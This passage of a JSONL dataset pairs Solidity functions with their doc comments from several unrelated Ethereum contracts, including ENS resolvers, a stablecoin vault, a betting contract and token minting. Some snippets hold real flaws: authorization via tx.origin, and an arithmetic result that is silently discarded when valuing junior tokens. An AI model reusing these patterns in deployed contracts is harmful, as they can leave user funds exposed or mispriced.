supplied:\r\n * a.example.com IN A 1.2.3.4\r\n * a.example.com IN A 5.6.7.8\r\n * www.example.com IN CNAME a.example.com.\r\n * then this would store the two A records for a.example.com correctly as a\r\n * single RRSET, however if the data was supplied:\r\n * a.example.com IN A 1.2.3.4\r\n * www.example.com IN CNAME a.example.com.\r\n * a.example.com IN A 5.6.7.8\r\n * then this would store the first A record, the CNAME, then the second A\r\n * record which would overwrite the first.\r\n *\r\n * @param node the namehash of the node for which to set the records\r\n * @param data the DNS wire format records to set\r\n */", "function_code": "function setDNSRecords(bytes32 node, bytes calldata data) external authorised(node) {\r\n uint16 resource = 0;\r\n uint256 offset = 0;\r\n bytes memory name;\r\n bytes memory value;\r\n bytes32 nameHash;\r\n // Iterate over the data to add the resource records\r\n for (RRUtils.RRIterator memory iter = data.iterateRRs(0); !iter.done(); iter.next()) {\r\n if (resource == 0) {\r\n resource = iter.dnstype;\r\n name = iter.name();\r\n nameHash = keccak256(abi.encodePacked(name));\r\n value = bytes(iter.rdata());\r\n } else {\r\n bytes memory newName = iter.name();\r\n if (resource != iter.dnstype || !name.equals(newName)) {\r\n setDNSRRSet(node, name, resource, data, offset, iter.offset - offset, value.length == 0);\r\n resource = iter.dnstype;\r\n offset = iter.offset;\r\n name = newName;\r\n nameHash = keccak256(name);\r\n value = bytes(iter.rdata());\r\n }\r\n }\r\n }\r\n if (name.length > 0) {\r\n setDNSRRSet(node, name, resource, data, offset, data.length - offset, value.length == 0);\r\n }\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * Returns the address of a contract that implements the specified interface for this name.\r\n * If an implementer has not been set for this interfaceID and name, the resolver will query\r\n * the contract at `addr()`. If `addr()` is set, a contract exists at that address, and that\r\n * contract implements EIP165 and returns `true` for the specified interfaceID, its address\r\n * will be returned.\r\n * @param node The ENS node to query.\r\n * @param interfaceID The EIP 165 interface ID to check for.\r\n * @return The address that implements this interface, or 0 if the interface is unsupported.\r\n */", "function_code": "function interfaceImplementer(bytes32 node, bytes4 interfaceID) external view returns (address) {\r\n address implementer = interfaces[node][interfaceID];\r\n if(implementer != address(0)) {\r\n return implementer;\r\n }\r\n\r\n address a = addr(node);\r\n if(a == address(0)) {\r\n return address(0);\r\n }\r\n\r\n (bool success, bytes memory returnData) = a.staticcall(abi.encodeWithSignature(\"supportsInterface(bytes4)\", INTERFACE_META_ID));\r\n if(!success || returnData.length < 32 || returnData[31] == 0) {\r\n // EIP 165 not supported by target\r\n return address(0);\r\n }\r\n\r\n (success, returnData) = a.staticcall(abi.encodeWithSignature(\"supportsInterface(bytes4)\", interfaceID));\r\n if(!success || returnData.length < 32 || returnData[31] == 0) {\r\n // Specified interface not supported by target\r\n return address(0);\r\n }\r\n\r\n return a;\r\n }", "version": "0.5.12"} {"comment": "/**\r\n \t * @dev Advocate of Setting's _associatedTAOId submits an address setting update after an update has been proposed\r\n \t * @param _settingId The ID of the setting to be updated\r\n \t * @param _newValue The new address value for this setting\r\n \t * @param _proposalTAOId The child of the associatedTAOId with the update Logos\r\n \t * @param _signatureV The V part of the signature of proposalTAOId, newValue and associatedTAOId's Advocate\r\n \t * @param _signatureR The R part of the signature of proposalTAOId, newValue and associatedTAOId's Advocate\r\n \t * @param _signatureS The S part of the signature of proposalTAOId, newValue and associatedTAOId's Advocate\r\n \t * @param _extraData Catch-all string value to be stored if exist\r\n \t */", "function_code": "function updateAddressSetting(\r\n\t\tuint256 _settingId,\r\n\t\taddress _newValue,\r\n\t\taddress _proposalTAOId,\r\n\t\tuint8 _signatureV,\r\n\t\tbytes32 _signatureR,\r\n\t\tbytes32 _signatureS,\r\n\t\tstring memory _extraData)\r\n\t\tpublic\r\n\t\tcanUpdate(_proposalTAOId)\r\n\t\tisAddressSetting(_settingId) {\r\n\r\n\t\t// Verify and store update address signature\r\n\t\trequire (_verifyAndStoreUpdateAddressSignature(_settingId, _newValue, _proposalTAOId, _signatureV, _signatureR, _signatureS));\r\n\r\n\t\t// Store the setting state data\r\n\t\trequire (_aoSettingAttribute.update(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId, _extraData));\r\n\r\n\t\t// Store the value as pending value\r\n\t\t_aoSettingValue.setPendingValue(_settingId, _newValue, false, '', '', 0);\r\n\r\n\t\t// Store the update hash key lookup\r\n\t\t_storeUpdateAddressHashLookup(_settingId, _newValue, _proposalTAOId, _extraData);\r\n\r\n\t\temit SettingUpdate(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId);\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev Advocate of Setting's proposalTAOId approves the setting update\r\n \t * @param _settingId The ID of the setting to be approved\r\n \t * @param _approved Whether to approve or reject\r\n \t */", "function_code": "function approveSettingUpdate(uint256 _settingId, bool _approved) public senderIsName senderNameNotCompromised {\r\n\t\t// Make sure setting exist\r\n\t\trequire (_aoSetting.settingTypeLookup(_settingId) > 0);\r\n\r\n\t\taddress _proposalTAOAdvocate = _nameFactory.ethAddressToNameId(msg.sender);\r\n\t\t(,,, address _proposalTAOId,,) = _aoSettingAttribute.getSettingState(_settingId);\r\n\r\n\t\trequire (_aoSettingAttribute.approveUpdate(_settingId, _proposalTAOAdvocate, _approved));\r\n\r\n\t\temit ApproveSettingUpdate(_settingId, _proposalTAOId, _proposalTAOAdvocate, _approved);\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev Advocate of Setting's _associatedTAOId finalizes the setting update once the setting is approved\r\n \t * @param _settingId The ID of the setting to be finalized\r\n \t */", "function_code": "function finalizeSettingUpdate(uint256 _settingId) public senderIsName senderNameNotCompromised {\r\n\t\t// Make sure setting exist\r\n\t\trequire (_aoSetting.settingTypeLookup(_settingId) > 0);\r\n\r\n\t\taddress _associatedTAOAdvocate = _nameFactory.ethAddressToNameId(msg.sender);\r\n\t\trequire (_aoSettingAttribute.finalizeUpdate(_settingId, _associatedTAOAdvocate));\r\n\r\n\t\t(,,, address _associatedTAOId,,,,,) = _aoSettingAttribute.getSettingData(_settingId);\r\n\r\n\t\trequire (_aoSettingValue.movePendingToSetting(_settingId));\r\n\r\n\t\temit FinalizeSettingUpdate(_settingId, _associatedTAOId, _associatedTAOAdvocate);\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev Verify the signature for the address update and store the signature info\r\n \t * @param _settingId The ID of the setting to be updated\r\n \t * @param _newValue The new address value for this setting\r\n \t * @param _proposalTAOId The child of the associatedTAOId with the update Logos\r\n \t * @param _v The V part of the signature of proposalTAOId, newValue and associatedTAOId's Advocate\r\n \t * @param _r The R part of the signature of proposalTAOId, newValue and associatedTAOId's Advocate\r\n \t * @param _s The S part of the signature of proposalTAOId, newValue and associatedTAOId's Advocate\r\n \t * @return true if valid, false otherwise\r\n \t */", "function_code": "function _verifyAndStoreUpdateAddressSignature(\r\n\t\tuint256 _settingId,\r\n\t\taddress _newValue,\r\n\t\taddress _proposalTAOId,\r\n\t\tuint8 _v,\r\n\t\tbytes32 _r,\r\n\t\tbytes32 _s\r\n\t\t) internal returns (bool) {\r\n\t\tbytes32 _hash = keccak256(abi.encodePacked(address(this), _settingId, _proposalTAOId, _newValue, _nameFactory.ethAddressToNameId(msg.sender)));\r\n\t\tif (ecrecover(_hash, _v, _r, _s) != msg.sender) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t_storeUpdateSignature(_settingId, _v, _r, _s);\r\n\t\treturn true;\r\n\t}", "version": "0.5.4"} {"comment": "// This is an incredibly trustfull ENS deployment, only use for testing", "function_code": "function newENS(address _owner) public returns (ENS) {\r\n ENS ens = new ENS();\r\n\r\n // Setup .eth TLD\r\n ens.setSubnodeOwner(ENS_ROOT, ETH_TLD_LABEL, this);\r\n\r\n // Setup public resolver\r\n PublicResolver resolver = new PublicResolver(ens);\r\n ens.setSubnodeOwner(ETH_TLD_NODE, PUBLIC_RESOLVER_LABEL, this);\r\n ens.setResolver(PUBLIC_RESOLVER_NODE, resolver);\r\n resolver.setAddr(PUBLIC_RESOLVER_NODE, resolver);\r\n\r\n ens.setOwner(ETH_TLD_NODE, _owner);\r\n ens.setOwner(ENS_ROOT, _owner);\r\n\r\n emit DeployENS(ens);\r\n\r\n return ens;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n \t * @dev Store the update hash lookup for this address setting\r\n \t * @param _settingId The ID of the setting to be updated\r\n \t * @param _newValue The new address value for this setting\r\n \t * @param _proposalTAOId The child of the associatedTAOId with the update Logos\r\n \t * @param _extraData Catch-all string value to be stored if exist\r\n \t */", "function_code": "function _storeUpdateAddressHashLookup(\r\n\t\tuint256 _settingId,\r\n\t\taddress _newValue,\r\n\t\taddress _proposalTAOId,\r\n\t\tstring memory _extraData)\r\n\t\tinternal {\r\n\t\t// Store the update hash key lookup\r\n\t\t(address _addressValue,,,,) = _aoSettingValue.settingValue(_settingId);\r\n\t\tupdateHashLookup[keccak256(abi.encodePacked(address(this), _proposalTAOId, _addressValue, _newValue, _extraData, _settingId))] = _settingId;\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n * Hack to get things to work automatically on OpenSea.\r\n * Use isApprovedForAll so the frontend doesn't have to worry about different method names.\r\n */", "function_code": "function isApprovedForAll(address _owner, address _operator)\r\n public\r\n view\r\n returns (bool)\r\n {\r\n if (owner() == _owner && _owner == _operator) {\r\n return true;\r\n }\r\n\r\n ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);\r\n if (\r\n owner() == _owner &&\r\n address(proxyRegistry.proxies(_owner)) == _operator\r\n ) {\r\n return true;\r\n }\r\n return false;\r\n }", "version": "0.8.4"} {"comment": "/* ///////////////////////////////////////////////////////////////\n EIP - 2612 LOGIC\n //////////////////////////////////////////////////////////////*/", "function_code": "function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) public virtual {\n if (block.timestamp > deadline) revert SignatureExpired();\n\n // cannot realistically overflow on human timescales\n unchecked {\n bytes32 digest = keccak256(\n abi.encodePacked(\n '\\x19\\x01',\n DOMAIN_SEPARATOR(),\n keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))\n )\n );\n\n address recoveredAddress = ecrecover(digest, v, r, s);\n\n if (recoveredAddress == address(0) || recoveredAddress != owner) revert InvalidSignature();\n\n allowance[recoveredAddress][spender] = value;\n }\n\n emit Approval(owner, spender, value);\n }", "version": "0.8.11"} {"comment": "/* ///////////////////////////////////////////////////////////////\n MINT / BURN LOGIC\n //////////////////////////////////////////////////////////////*/", "function_code": "function _mint(address to, uint256 amount) internal virtual {\n totalSupply += amount;\n\n // cannot overflow because the sum of all user\n // balances can't exceed the max uint256 value\n unchecked {\n balanceOf[to] += amount;\n }\n\n _moveDelegates(address(0), delegates(to), amount);\n\n emit Transfer(address(0), to, amount);\n }", "version": "0.8.11"} {"comment": "// VRAgent was here!", "function_code": "function checkIfDuckOwner(uint16 _duckID) external view returns (bool) {\r\n require(_duckID >= 1 && _duckID <= 333, \"Duck ID should be in range\");\r\n uint56 offset = ducks[_duckID - 1];\r\n uint256 tokenID = uint256(offset) + baseNumber;\r\n OpenStoreContract nft = OpenStoreContract(openStoreNFTAddress);\r\n return nft.balanceOf(tx.origin, tokenID) == 1;\r\n }", "version": "0.8.4"} {"comment": "///@dev claims the base token after it has been transmuted\n///\n///This function reverts if there is no realisedToken balance", "function_code": "function claim(bool asEth) public nonReentrant() noContractAllowed() {\n address sender = msg.sender;\n require(realisedTokens[sender] > 0);\n uint256 value = realisedTokens[sender];\n realisedTokens[sender] = 0;\n ensureSufficientFundsExistLocally(value);\n if (asEth) {\n IWETH9(token).withdraw(value);\n payable(sender).transfer(value);\n } else {\n IERC20Burnable(token).safeTransfer(sender, value);\n }\n emit TokenClaimed(sender, token, value);\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Transfers ownership of the contract to the Cosmic Vault (`cosmicVault`) and\r\n * sets the time (`unlockTime`) at which the now stored contract can be transferred back to\r\n * the previous owner.\r\n \r\n * NOTE Can only be called by the current owner.\r\n */", "function_code": "function storeInCosmicVault(address cosmicVault, uint256 unlockTime) public virtual onlyOwner {\r\n require(cosmicVault != address(0), \"CVOwnable: new owner is the zero address\");\r\n _previousOwner = _owner;\r\n _unlockTime = unlockTime;\r\n emit OwnershipTransferred(_previousOwner, cosmicVault);\r\n _owner = cosmicVault;\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @notice GoldFinch PoolToken Value in Value in term of USDC\r\n */", "function_code": "function getGoldFinchPoolTokenBalanceInUSDC() public view returns (uint256) {\r\n uint256 total = 0;\r\n uint256 balance = goldFinchPoolToken.balanceOf(address(this));\r\n for (uint256 i = 0; i < balance; i++) {\r\n total = total.add(\r\n getJuniorTokenValue(\r\n address(goldFinchPoolToken),\r\n goldFinchPoolToken.tokenOfOwnerByIndex(address(this), i)\r\n )\r\n );\r\n }\r\n return total.mul(usdcMantissa());\r\n }", "version": "0.8.13"} {"comment": "/**\r\n * @notice An Alloy token holder can deposit their tokens and redeem them for USDC\r\n * @param _tokenAmount Number of Alloy Tokens\r\n */", "function_code": "function depositAlloyxBronzeTokens(uint256 _tokenAmount)\r\n external\r\n whenNotPaused\r\n whenVaultStarted\r\n returns (bool)\r\n {\r\n require(\r\n alloyxTokenBronze.balanceOf(msg.sender) >= _tokenAmount,\r\n \"User has insufficient alloyx coin\"\r\n );\r\n require(\r\n alloyxTokenBronze.allowance(msg.sender, address(this)) >= _tokenAmount,\r\n \"User has not approved the vault for sufficient alloyx coin\"\r\n );\r\n uint256 amountToWithdraw = alloyxBronzeToUSDC(_tokenAmount);\r\n require(amountToWithdraw > 0, \"The amount of stable coin to get is not larger than 0\");\r\n require(\r\n usdcCoin.balanceOf(address(this)) >= amountToWithdraw,\r\n \"The vault does not have sufficient stable coin\"\r\n );\r\n alloyxTokenBronze.burn(msg.sender, _tokenAmount);\r\n usdcCoin.safeTransfer(msg.sender, amountToWithdraw);\r\n emit DepositAlloyx(address(alloyxTokenBronze), msg.sender, _tokenAmount);\r\n emit Burn(msg.sender, _tokenAmount);\r\n return true;\r\n }", "version": "0.8.13"} {"comment": "/**\r\n * @notice A Liquidity Provider can deposit supported stable coins for Alloy Tokens\r\n * @param _tokenAmount Number of stable coin\r\n */", "function_code": "function depositUSDCCoin(uint256 _tokenAmount)\r\n external\r\n whenNotPaused\r\n whenVaultStarted\r\n returns (bool)\r\n {\r\n require(usdcCoin.balanceOf(msg.sender) >= _tokenAmount, \"User has insufficient stable coin\");\r\n require(\r\n usdcCoin.allowance(msg.sender, address(this)) >= _tokenAmount,\r\n \"User has not approved the vault for sufficient stable coin\"\r\n );\r\n uint256 amountToMint = USDCtoAlloyxBronze(_tokenAmount);\r\n require(amountToMint > 0, \"The amount of alloyx bronze coin to get is not larger than 0\");\r\n usdcCoin.safeTransferFrom(msg.sender, address(this), _tokenAmount);\r\n alloyxTokenBronze.mint(msg.sender, amountToMint);\r\n emit DepositStable(address(usdcCoin), msg.sender, amountToMint);\r\n emit Mint(msg.sender, amountToMint);\r\n return true;\r\n }", "version": "0.8.13"} {"comment": "/**\r\n * @notice A Junior token holder can deposit their NFT for stable coin\r\n * @param _tokenAddress NFT Address\r\n * @param _tokenID NFT ID\r\n */", "function_code": "function depositNFTToken(address _tokenAddress, uint256 _tokenID)\r\n external\r\n whenNotPaused\r\n whenVaultStarted\r\n returns (bool)\r\n {\r\n require(_tokenAddress == address(goldFinchPoolToken), \"Not Goldfinch Pool Token\");\r\n require(isValidPool(_tokenAddress, _tokenID) == true, \"Not a valid pool\");\r\n require(IERC721(_tokenAddress).ownerOf(_tokenID) == msg.sender, \"User does not own this token\");\r\n require(\r\n IERC721(_tokenAddress).getApproved(_tokenID) == address(this),\r\n \"User has not approved the vault for this token\"\r\n );\r\n uint256 purchasePrice = getJuniorTokenValue(_tokenAddress, _tokenID);\r\n require(purchasePrice > 0, \"The amount of stable coin to get is not larger than 0\");\r\n require(\r\n usdcCoin.balanceOf(address(this)) >= purchasePrice,\r\n \"The vault does not have sufficient stable coin\"\r\n );\r\n IERC721(_tokenAddress).safeTransferFrom(msg.sender, address(this), _tokenID);\r\n usdcCoin.safeTransfer(msg.sender, purchasePrice);\r\n emit DepositNFT(_tokenAddress, msg.sender, _tokenID);\r\n return true;\r\n }", "version": "0.8.13"} {"comment": "/**\r\n * @notice Using the Goldfinch contracts, read the principal, redeemed and redeemable values\r\n * @param _tokenAddress The backer NFT address\r\n * @param _tokenID The backer NFT id\r\n */", "function_code": "function getJuniorTokenValue(address _tokenAddress, uint256 _tokenID)\r\n public\r\n view\r\n returns (uint256)\r\n {\r\n // first get the amount redeemed and the principal\r\n IPoolTokens poolTokenContract = IPoolTokens(_tokenAddress);\r\n IPoolTokens.TokenInfo memory tokenInfo = poolTokenContract.getTokenInfo(_tokenID);\r\n uint256 principalAmount = tokenInfo.principalAmount;\r\n uint256 totalRedeemed = tokenInfo.principalRedeemed.add(tokenInfo.interestRedeemed);\r\n\r\n // now get the redeemable values for the given token\r\n address tranchedPoolAddress = tokenInfo.pool;\r\n ITranchedPool tranchedTokenContract = ITranchedPool(tranchedPoolAddress);\r\n (uint256 interestRedeemable, uint256 principalRedeemable) = tranchedTokenContract\r\n .availableToWithdraw(_tokenID);\r\n uint256 totalRedeemable = interestRedeemable;\r\n // only add principal here if there have been drawdowns otherwise it overstates the value\r\n if (principalRedeemable < principalAmount) {\r\n totalRedeemable.add(principalRedeemable);\r\n }\r\n return principalAmount.sub(totalRedeemed).add(totalRedeemable).mul(usdcMantissa());\r\n }", "version": "0.8.13"} {"comment": "// Change bet expected end time", "function_code": "function setExpectedEnd(uint _EXPECTED_END) payable public onlyOwnerLevel {\r\n require(_EXPECTED_END > EXPECTED_START);\r\n\r\n EXPECTED_END = _EXPECTED_END;\r\n CANCELATION_DATE = EXPECTED_END + 60 * 60 * 24;\r\n RETURN_DATE = EXPECTED_END + 60 * 60 * 24 * 30;\r\n\r\n callOracle(EXPECTED_END, ORACLIZE_GAS); // Kickoff Oracle checking for winner\r\n }", "version": "0.4.20"} {"comment": "// Callback from Oraclize", "function_code": "function __callback(bytes32 queryId, string result, bytes proof) public canDetermineWinner {\r\n require(msg.sender == oraclize_cbAddress());\r\n\r\n // The Oracle must always return\r\n // an integer (either 0 or 1, or if not then)\r\n // it should be 2\r\n if (keccak256(result) != keccak256(\"0\") && keccak256(result) != keccak256(\"1\")) {\r\n // Reschedule winner determination,\r\n // unless we're past the point of\r\n // cancelation. If nextScheduledQuery is\r\n // not the current query, it means that\r\n // there's a scheduled future query, so\r\n // we can wait for that instead of scheduling\r\n // another one now (otherwise this would cause\r\n // dupe queries).\r\n\r\n if (now >= CANCELATION_DATE) {\r\n cancel();\r\n }\r\n else if (nextScheduledQuery == queryId) {\r\n callOracle(PING_ORACLE_INTERVAL, ORACLIZE_GAS);\r\n }\r\n }\r\n else {\r\n setWinner(parseInt(result));\r\n }\r\n }", "version": "0.4.20"} {"comment": "// Returns whether winning collections are\n// now available, or not.", "function_code": "function collectionsAvailable() public constant returns(bool) {\r\n return (completed && winningOption != 2 && now >= (winnerDeterminedDate + 600)); // At least 10 mins has to pass between determining winner and enabling payout, so that we have time to revert the bet in case we detect suspicious betting activty (eg. a hacker bets a lot to steal the entire losing pot, and hacks the oracle)\r\n }", "version": "0.4.20"} {"comment": "// Function for user to bet on launch\n// outcome", "function_code": "function bet(uint option) public payable {\r\n require(canBet() == true);\r\n require(msg.value >= MIN_BET);\r\n require(betterInfo[msg.sender].betAmount == 0 || betterInfo[msg.sender].betOption == option);\r\n\r\n // Add better to better list if they\r\n // aren't already in it\r\n if (betterInfo[msg.sender].betAmount == 0) {\r\n betterInfo[msg.sender].betOption = option;\r\n numberOfBets[option]++;\r\n\r\n betters.push(msg.sender);\r\n }\r\n\r\n // Perform bet\r\n betterInfo[msg.sender].betAmount += msg.value;\r\n totalBetAmount += msg.value;\r\n totalAmountsBet[option] += msg.value;\r\n\r\n BetMade(); // Trigger event\r\n }", "version": "0.4.20"} {"comment": "// Function that lets betters collect their\n// money, either if the bet was canceled,\n// or if they won.", "function_code": "function collect() public collectionsEnabled {\r\n address better = msg.sender;\r\n\r\n require(betterInfo[better].betAmount > 0);\r\n require(!betterInfo[better].withdrawn);\r\n require(canceled != completed);\r\n require(canceled || (completed && betterInfo[better].betOption == winningOption));\r\n require(now >= (winnerDeterminedDate + 600));\r\n\r\n uint payout = 0;\r\n if (!canceled) {\r\n // On top of their original bet,\r\n // add in profit, which is a weighted\r\n // proportion of the losing pot, relative\r\n // to their contribution to the winning pot,\r\n // minus owner commission.\r\n uint losingChunk = totalAmountsBet[1 - winningOption];\r\n payout = betterInfo[better].betAmount + (betterInfo[better].betAmount * (losingChunk - ownerPayout) / totalAmountsBet[winningOption]) - collectionFees;\r\n }\r\n else {\r\n payout = betterInfo[better].betAmount;\r\n }\r\n\r\n if (payout > 0) {\r\n better.transfer(payout);\r\n betterInfo[better].withdrawn = true;\r\n\r\n numCollected++;\r\n }\r\n }", "version": "0.4.20"} {"comment": "/**\r\n * Create presale contract where lock up period is given days\r\n *\r\n * @param _owner Who can load investor data and lock\r\n * @param _freezeEndsAt UNIX timestamp when the vault unlocks\r\n * @param _token Token contract address we are distributing\r\n * @param _tokensToBeAllocated Total number of tokens this vault will hold - including decimal multiplcation\r\n *\r\n */", "function_code": "function TokenVault(address _owner, uint _freezeEndsAt, StandardTokenExt _token, uint _tokensToBeAllocated) {\r\n\r\n owner = _owner;\r\n\r\n // Invalid owenr\r\n if(owner == 0) {\r\n throw;\r\n }\r\n\r\n token = _token;\r\n\r\n // Check the address looks like a token contract\r\n if(!token.isToken()) {\r\n throw;\r\n }\r\n\r\n // Give argument\r\n if(_freezeEndsAt == 0) {\r\n throw;\r\n }\r\n\r\n // Sanity check on _tokensToBeAllocated\r\n if(_tokensToBeAllocated == 0) {\r\n throw;\r\n }\r\n\r\n freezeEndsAt = _freezeEndsAt;\r\n tokensToBeAllocated = _tokensToBeAllocated;\r\n }", "version": "0.4.18"} {"comment": "/// @dev Add a presale participating allocation", "function_code": "function setInvestor(address investor, uint amount) public onlyOwner {\r\n\r\n if(lockedAt > 0) {\r\n // Cannot add new investors after the vault is locked\r\n throw;\r\n }\r\n\r\n if(amount == 0) throw; // No empty buys\r\n\r\n // Don't allow reset\r\n if(balances[investor] > 0) {\r\n throw;\r\n }\r\n\r\n balances[investor] = amount;\r\n\r\n investorCount++;\r\n\r\n tokensAllocatedTotal += amount;\r\n\r\n Allocated(investor, amount);\r\n }", "version": "0.4.18"} {"comment": "/// @dev Lock the vault\n/// - All balances have been loaded in correctly\n/// - Tokens are transferred on this vault correctly\n/// - Checks are in place to prevent creating a vault that is locked with incorrect token balances.", "function_code": "function lock() onlyOwner {\r\n\r\n if(lockedAt > 0) {\r\n throw; // Already locked\r\n }\r\n\r\n // Spreadsheet sum does not match to what we have loaded to the investor data\r\n if(tokensAllocatedTotal != tokensToBeAllocated) {\r\n throw;\r\n }\r\n\r\n // Do not lock the vault if the given tokens are not on this contract\r\n if(token.balanceOf(address(this)) != tokensAllocatedTotal) {\r\n throw;\r\n }\r\n\r\n lockedAt = now;\r\n\r\n Locked();\r\n }", "version": "0.4.18"} {"comment": "/// @dev Claim N bought tokens to the investor as the msg sender", "function_code": "function claim() {\r\n\r\n address investor = msg.sender;\r\n\r\n if(lockedAt == 0) {\r\n throw; // We were never locked\r\n }\r\n\r\n if(now < freezeEndsAt) {\r\n throw; // Trying to claim early\r\n }\r\n\r\n if(balances[investor] == 0) {\r\n // Not our investor\r\n throw;\r\n }\r\n\r\n if(claimed[investor] > 0) {\r\n throw; // Already claimed\r\n }\r\n\r\n uint amount = balances[investor];\r\n\r\n claimed[investor] = amount;\r\n\r\n totalClaimed += amount;\r\n\r\n token.transfer(investor, amount);\r\n\r\n Distributed(investor, amount);\r\n }", "version": "0.4.18"} {"comment": "/// #if_succeeds {:msg \"totalSupply increase by mint amount\"} old(totalSupply()) == totalSupply() - _mintAmount;", "function_code": "function mint(uint256 _mintAmount) public payable {\r\n require(!isPauseMode, \"Paused\");\r\n uint256 supply = totalSupply();\r\n require(_mintAmount > 0, \"Select at least 1 NFT\");\r\n require(supply + _mintAmount <= MaxCollection, \"Not Enough Left\"); \r\n if (msg.sender != owner()) {\r\n require(_mintAmount <= maxMintPerTrx, \"Max Mint Amount Reached\");\r\n require(msg.value >= Price * _mintAmount, \"Balance Insufficient\"); \r\n \r\n }\r\n for (uint256 i = 0; i < _mintAmount; ++i) {\r\n _safeMint(msg.sender, supply + i);\r\n }\r\n }", "version": "0.8.9"} {"comment": "// Consumption payment method, the product realization end is available for merchants to call, due to the high gas fee, this method can pass the payment cost to the merchant, reducing the user cost\n// For other rules, please refer to consume1 method", "function_code": "function consume2(address _merchant, address _serviceProvider, uint256 _amount, uint256 time, bytes memory signature) public {\r\n bytes32 hash = keccak256(abi.encodePacked(_merchant, _serviceProvider, _amount, time));\r\n require(!consumeHashes[hash], \"Repeat consumption.\");\r\n address userAddress = ecrecovery(hash, signature);\r\n require(userAddress != address(0), \"Signature error.\");\r\n consume(userAddress, _merchant, _serviceProvider, _amount);\r\n consumeHashes[hash] = true;\r\n }", "version": "0.6.12"} {"comment": "// Withdraw LP tokens from pool.", "function_code": "function withdraw(uint256 _amount) public onlyMerchant {\r\n UserInfo storage user = userInfo[msg.sender];\r\n require(user.amount >= _amount, \"withdraw: not good\");\r\n updatePool();\r\n sendReward(user, msg.sender);\r\n user.amount = user.amount.sub(_amount);\r\n user.rewardDebt = user.amount.mul(accPerShare).div(1e12);\r\n if (_amount > 0) {\r\n lpToken.transfer(address(msg.sender), _amount);\r\n }\r\n emit Withdraw(msg.sender, _amount);\r\n }", "version": "0.6.12"} {"comment": "//delegated", "function_code": "function burnFrom( address account, uint[] calldata ids, uint[] calldata quantities ) external payable onlyDelegates {\r\n require( ids.length == quantities.length, \"ERC1155: Must provide equal ids and quantities\");\r\n\r\n for(uint i; i < ids.length; ++i ){\r\n _burn( account, ids[i], quantities[i] );\r\n }\r\n }", "version": "0.8.10"} {"comment": "// Returns the sum of shares of each vault", "function_code": "function validate() external view onlyOwner returns (uint) {\n return (\n (1 ether * numerators[vaults[0]] / denominators[vaults[0]]) +\n (1 ether * numerators[vaults[1]] / denominators[vaults[1]]) +\n (1 ether * numerators[vaults[2]] / denominators[vaults[2]]) +\n (1 ether * numerators[vaults[3]] / denominators[vaults[3]]) +\n (1 ether * numerators[vaults[4]] / denominators[vaults[4]])\n ) / 1 ether;\n }", "version": "0.8.8"} {"comment": "// Sends balance of contract to addresses stored in `vaults`", "function_code": "function withdraw() external nonReentrant {\n uint payment0 = address(this).balance * numerators[vaults[0]] / denominators[vaults[0]];\n uint payment1 = address(this).balance * numerators[vaults[1]] / denominators[vaults[1]];\n uint payment2 = address(this).balance * numerators[vaults[2]] / denominators[vaults[2]];\n uint payment3 = address(this).balance * numerators[vaults[3]] / denominators[vaults[3]];\n uint payment4 = address(this).balance * numerators[vaults[4]] / denominators[vaults[4]];\n\n require(payable(vaults[0]).send(payment0));\n require(payable(vaults[1]).send(payment1));\n require(payable(vaults[2]).send(payment2));\n require(payable(vaults[3]).send(payment3));\n require(payable(vaults[4]).send(payment4));\n }", "version": "0.8.8"} {"comment": "/**\r\n * @dev The declareValue function lets the valueDeclarator declare a new value when it is reached to\r\n * allow the valueValidator to mint new tokens accordingly.\r\n * @param _value the new validated value\r\n * @notice This function can only be called by the valueDeclarator.\r\n **/", "function_code": "function declareValue(uint _value) external {\r\n require(msg.sender == valueDeclarator, \"validation can only be called by designated valueDeclarator\");\r\n require(_value > currentValue, \"new declared value should be higher than current value\");\r\n require(_value > declaredValue, \"new declared value should be higher than the last one\");\r\n declaredValue = _value;\r\n // emit an event\r\n emit DeclaredValue(_value);\r\n // update current value and mint new tokens if possible\r\n updateCurrentValue();\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev The validateValue function lets the valueValidator accept to mint tokens when values are reached.\r\n * @param _value a new value to declare\r\n * @notice This function can only be called by the valueValidator\r\n **/", "function_code": "function validateValue(uint _value) external {\r\n require(msg.sender == valueValidator, \"validation can only be called by designated valueValidator\");\r\n require(_value > currentValue, \"new validated value should be higher than current value\");\r\n require(_value > validatedValue, \"new validated value should be higher than the last one\");\r\n validatedValue = _value;\r\n // emit an event\r\n emit ValidatedValue(_value);\r\n // update current value and mint new tokens if possible\r\n updateCurrentValue();\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev The updateCurrentValue function updates currentValue and mints new tokens accordingly.\r\n **/", "function_code": "function updateCurrentValue() private {\r\n uint newValue = (validatedValue < declaredValue) ? validatedValue : declaredValue;\r\n uint lastNbThresholds = currentValue.div(VALUE_THRESHOLD);\r\n uint newNbThresholds = newValue.div(VALUE_THRESHOLD);\r\n currentValue = newValue;\r\n if (lastNbThresholds < newNbThresholds) {\r\n uint newTokensPerRecipient = newNbThresholds.sub(lastNbThresholds).mul(TOKENS_MINTED_PER_THRESHOLD).div(2);\r\n _mint(recipient0, newTokensPerRecipient);\r\n _mint(recipient1, newTokensPerRecipient);\r\n }\r\n }", "version": "0.5.11"} {"comment": "// Internal function to create a token", "function_code": "function _create(\r\n uint256 tokenId,\r\n uint256 initialSupply,\r\n uint256 maxSupply_\r\n ) internal {\r\n require(maxSupply_ != 0, \"BaseERC1155: maxSupply cannot be 0\");\r\n require(!isCreated(tokenId), \"BaseERC1155: token already created\");\r\n require(initialSupply <= maxSupply_, \"BaseERC1155: initial supply cannot exceed max\");\r\n maxSupply[tokenId] = maxSupply_;\r\n if (initialSupply > 0) {\r\n _mint(msg.sender, tokenId, 